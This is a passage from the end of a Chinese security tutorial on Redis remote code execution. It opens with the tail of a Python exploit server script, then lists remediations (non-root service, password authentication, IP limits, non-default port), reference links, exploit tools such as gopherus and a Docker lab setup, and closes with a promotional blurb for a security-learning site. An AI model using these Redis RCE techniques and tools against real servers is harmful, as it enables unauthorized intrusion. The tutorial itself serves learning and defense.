runserver(options.rh, options.rp, options.lh, options.lp)
except Exception as e:
error(repr(e))
还有Lua RCE,利用反序列化攻击redis的,可以看Paper
修复方法:
1、禁止使用root权限启动redis服务。
2、对redis访问启动密码认证。
3、添加IP访问限制,并更改默认6379端口
参考链接:
https://paper.seebug.org/1169/#rce
https://joychou.org/web/phpssrf.html
http://www.91ri.org/17111.html
https://xz.aliyun.com/t/1800
https://xz.aliyun.com/t/5616
https://xz.aliyun.com/t/5665#toc-13
https://blog.csdn.net/qq_41107295/article/details/103026470
https://blog.csdn.net/fly_hps/article/details/80937837
https://www.runoob.com/redis/redis-commands.html
工具:
https://xz.aliyun.com/t/5844
github搜索gopherus
环境:
docker部署(自己在里面安装需要的):https://github.com/justonly1/DockerRedis/blob/master/redis/Dockerfile
centos7,kali的自行搭建
https://www.secshi.com
学安全,上secshi。安全师,可信赖的网络安全学习平台,以让每个白帽子高效获得可信赖的优质内容为使命。安全师汇聚网络安全技术、黑客技术、web安全攻防、代码审计、渗透测试、漏洞挖掘、白帽子教程,沉淀知识,分享经验!吸引、聚集了IT界中大量的领域专家,将高质量的内容透过人的节点来成规模地生产和分享。用户通过分享等交流方式建立信任和连接,打造和提升个人影响力,并发现、获得新机会。